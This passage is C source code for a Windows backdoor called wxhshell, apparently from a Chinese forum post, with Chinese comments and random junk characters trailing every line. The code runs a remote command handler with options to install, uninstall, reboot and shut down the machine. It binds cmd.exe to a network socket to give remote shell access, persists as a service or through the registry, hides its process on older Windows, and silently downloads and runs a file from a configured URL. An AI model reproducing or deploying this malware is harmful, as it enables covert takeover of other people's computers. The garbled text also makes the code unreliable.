  case '?': { .58 AXg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # I<G:)  
    break; 0}b8S48|?  
  } V}J W@  
  // 安装 T|}HK]QOX  
  case 'i': { .6tz ^4  
    if(Install()) /!E /9[V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.~5n[W  
    else <8y8^m`P9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6[CX[=P30  
    break; D ,)~j6OG8  
    } BHU[Rz7x  
  // 卸载 z* `81  
  case 'r': { ,fN iZ  
    if(Uninstall()) O+e8}Tmm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ 0CGS  
    else `\qU.m0(j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ypsCyDQK`  
    break; 2T|L# #C  
    } Fdzd!r1 v  
  // 显示 wxhshell 所在路径 # ._!.P  
  case 'p': { ybB}|4d&   
    char svExeFile[MAX_PATH]; Z>{8FzP.F  
    strcpy(svExeFile,"\n\r"); cg$~.ytPK  
      strcat(svExeFile,ExeFile); C {'c_wX  
        send(wsh,svExeFile,strlen(svExeFile),0);  q)%C|  
    break; /TB_4{  
    } :4 ;>).  
  // 重启 g3 qtWS  
  case 'b': { ^ ]B&7\w"t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "W1q}4_  
    if(Boot(REBOOT)) =DqGm]tA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t,H,*2  
    else { 1'g?B`  
    closesocket(wsh); \/,SH?>4x  
    ExitThread(0); %%f=aPw  
    } %bv<OMD  
    break; OrH&dY  
    } B8P%4@T  
  // 关机 JD'/m hN0  
  case 'd': { !k[ zUti  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M 35}5+  
    if(Boot(SHUTDOWN)) >DV0!'jW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Y:HVr,  
    else { - -]\z*x  
    closesocket(wsh); ~#-`Qh  
    ExitThread(0); "zv+|_ZAfd  
    } $]hf2Yr(  
    break; ))MP]j9 T  
    } BY 1~\M  
  // 获取shell S#""((U$  
  case 's': { CsE|pXVG  
    CmdShell(wsh); 5= F-^  
    closesocket(wsh); ~L1N1Z)Kk  
    ExitThread(0); {b+IDq`)=  
    break; g_}@/5?y  
  } G3e%~  
  // 退出 X!"y>J  
  case 'x': { :q= XE$%H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,= PDL  
    CloseIt(wsh); Mc\lzq8\ 1  
    break; E dU3k'z$  
    } 6Qo6 T][  
  // 离开 N* z<VZ  
  case 'q': { "=RB #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p3Gj=G  
    closesocket(wsh); N[mOJa:  
    WSACleanup(); Ea3tF0{  
    exit(1); G{s ,Y^  
    break; $4?%Z>'  
        } 11)~!in  
  } ht=yzJ9Pr  
  } =6 [!'K  
)XNcy"   
  // 提示信息 bM!`C|,[s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |l ~ADEg  
} !O.B,  
  } 9R E;50h  
WAQv4&xGM  
  return; BujWql  
} lmd0Q(I  
&iSQ2a!l8b  
// shell模块句柄 Mu:H'$"'H  
int CmdShell(SOCKET sock) C= Zuy^  
{ >LNl8X:Cz*  
STARTUPINFO si; FKzqJwT  
ZeroMemory(&si,sizeof(si)); }\irr9,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5<S1,u5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6jnRC*!?  
PROCESS_INFORMATION ProcessInfo; -~xd-9v?  
char cmdline[]="cmd"; R0+m7mx#E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \2LCpN  
  return 0; 1DBzD%@Oz  
} !K@y B)9  
I4)vJ0  
// 自身启动模式 Obd!  
int StartFromService(void) `W/6xm(X5;  
{ wgufk {:  
typedef struct _%>.t  
{ R@EFG%|`_  
  DWORD ExitStatus; Vt&I[osC  
  DWORD PebBaseAddress; O8lOr(|l  
  DWORD AffinityMask; SrKF\h%/+  
  DWORD BasePriority; 6z(_^CY  
  ULONG UniqueProcessId; \jfW$TtZm  
  ULONG InheritedFromUniqueProcessId; jXdn4m/O  
}   PROCESS_BASIC_INFORMATION; E8503  
 aCTVY1  
PROCNTQSIP NtQueryInformationProcess; $~2A o[  
E>[~"~x"pV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~C[,P\,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _,'UP>Si  
l==T3u r  
  HANDLE             hProcess; nQgn^z#  
  PROCESS_BASIC_INFORMATION pbi; D +oo5  
EuAa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g5?Fo%W  
  if(NULL == hInst ) return 0; <&NR3^Eq  
XYn$yR\dj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gf!j|O;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /2z 2a-!r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E^qKkl  
}Jc^p  
  if (!NtQueryInformationProcess) return 0; CUtk4;^y#  
?,!qh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;S%wPXj&  
  if(!hProcess) return 0; $51#xe  
^=@%@mR/[C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U9 If%0P  
9f V57  
  CloseHandle(hProcess); N0XGW_f  
XR+2|o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >!wwXhH(  
if(hProcess==NULL) return 0; $L&*0$[]Q  
+yTL  
HMODULE hMod; 1-,l|K  
char procName[255]; ePF9Vzq  
unsigned long cbNeeded; f"-?%I*'  
b1^MX).vH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <k)rfv7  
"#OmmU<U  
  CloseHandle(hProcess); abF_i#  
H<>x_}&  
if(strstr(procName,"services")) return 1; // 以服务启动 ZE1#{u~[y  
W[vak F  
  return 0; // 注册表启动 ~vt8|OOo0  
} h?SUDk:2^  
[m4<j  
// 主模块 ':fVb3A[*d  
int StartWxhshell(LPSTR lpCmdLine)  [g/g(RL  
{ H<q:+  
  SOCKET wsl; ,JjTzO  
BOOL val=TRUE; r"4:aKF>  
  int port=0; $V+ze*ra  
  struct sockaddr_in door; r9QNE>UG  
nqV7Db~  
  if(wscfg.ws_autoins) Install(); [`:\(( 8  
sPhh#VCw{  
port=atoi(lpCmdLine); xOt|j4  
Q[k}_1sWs$  
if(port<=0) port=wscfg.ws_port; r+U-l#Q  
h;Bol  
  WSADATA data; :xA'X+d/'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SAqX[c  
6dNo!$C^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >97V2W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 08twcY;&k  
  door.sin_family = AF_INET; )D@ NX/}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y/4B*>kl  
  door.sin_port = htons(port); yNqrL?i  
VMNihx0FJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A/o=a#  
closesocket(wsl); a([cuh.  
return 1; 5bAy@n  
} ptsi\ 7BG  
tIRw"sz  
  if(listen(wsl,2) == INVALID_SOCKET) { i#eb%9Mn  
closesocket(wsl); a~{mRh  
return 1; N". af)5  
} ;MO %))  
  Wxhshell(wsl); 8'f:7KF  
  WSACleanup(); t[X'OK0W%3  
+DU}f;O8v  
return 0; 8J@REP4  
EJRwyF5 LK  
} F &uU ,);  
8J>s|MZ  
// 以NT服务方式启动 .<tb*6rX>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PB`94W  
{ 6.k2,C4dT<  
DWORD   status = 0; f-3lJ?6  
  DWORD   specificError = 0xfffffff; T%:}/@  
YUc&X^O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 76hi@7a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J0{0B=d;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Er%nSH^"  
  serviceStatus.dwWin32ExitCode     = 0; e\)PGjSI  
  serviceStatus.dwServiceSpecificExitCode = 0; tW 9vo-{+  
  serviceStatus.dwCheckPoint       = 0; /Jo*O=Lpo  
  serviceStatus.dwWaitHint       = 0; k6$.pCH6  
;ASlsUE\)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uRp-yu[nt%  
  if (hServiceStatusHandle==0) return; 7H=/FT?e]  
"EA%!P:d,  
status = GetLastError(); d^,u"Z9P  
  if (status!=NO_ERROR) _RAPXU~ 6-  
{ b2ZKhS8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V RT| OUq  
    serviceStatus.dwCheckPoint       = 0; |J8c|h<  
    serviceStatus.dwWaitHint       = 0; 5I@< 6S&X  
    serviceStatus.dwWin32ExitCode     = status; vQ 5 p  
    serviceStatus.dwServiceSpecificExitCode = specificError; sqsBGFeG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \`x$@s?  
    return; LB-4/G$  
  } yQh":"$k  
x|1OGbBK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g#:?Ay-m  
  serviceStatus.dwCheckPoint       = 0; 0b4QcfB1[  
  serviceStatus.dwWaitHint       = 0; X\uN:;?#W{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _O)~<Sk-*z  
} yV_aza  
qL] !/}  
// 处理NT服务事件,比如:启动、停止 2x t 8F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S\mh{#Lpk  
{ \|Us/_h  
switch(fdwControl) CGPPo;RjK  
{ Z?dz@d%C  
case SERVICE_CONTROL_STOP: ^ @sg{_.~l  
  serviceStatus.dwWin32ExitCode = 0; =%p0r z|b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <&Y7Q[  
  serviceStatus.dwCheckPoint   = 0; $(G.P!/  
  serviceStatus.dwWaitHint     = 0; s )\%%CM  
  { xa??OT`(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H71LJfH  
  } |&3[YZY  
  return; y&UcTE2;%(  
case SERVICE_CONTROL_PAUSE: N<9C V!_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R9^Vk*`gFU  
  break; ZI}7#K<9X  
case SERVICE_CONTROL_CONTINUE: e'p'{]r<w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l7nc8K  
  break; 6gNsh  
case SERVICE_CONTROL_INTERROGATE: 3N[t2Y1r  
  break; H W)> `  
}; pFx7URZA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5v6*.e'p  
} 1d"g $i4e  
7gNJ}pLDx  
// 标准应用程序主函数 Nxp 7/Nn3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xZwG@+U=X  
{ VMZ\9IwI  
I ze+](  
// 获取操作系统版本 &iORB  
OsIsNt=GetOsVer(); wL\OAM6R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "@#^/m)  
Rq|7$O5  
  // 从命令行安装 >;LXy  
  if(strpbrk(lpCmdLine,"iI")) Install(); !#Ub*qY1Z  
jZx.MBVy]  
  // 下载执行文件 j KGfm9|zj  
if(wscfg.ws_downexe) { p D-k<8|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j]Kpwf<NS  
  WinExec(wscfg.ws_filenam,SW_HIDE); g Y|f[M|  
} '1'De^%6W  
bnIl@0Y  
if(!OsIsNt) { clV3x` z  
// 如果时win9x,隐藏进程并且设置为注册表启动 db -h=L|  
HideProc(); C0(?f[/(M  
StartWxhshell(lpCmdLine); OX-t#R`  
} P{-j ^'y  
else 4YX/=  
  if(StartFromService()) /H3z~PBa  
  // 以服务方式启动 U[,."w]T  
  StartServiceCtrlDispatcher(DispatchTable); iHBetkAu  
else H65><38X/  
  // 普通方式启动 Vsw] v  
  StartWxhshell(lpCmdLine); C9OEB6  
e ?sMOBPlv  
return 0; nvY%{Zf$}  
}
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只看该作者 1 发表于: 2006-10-10
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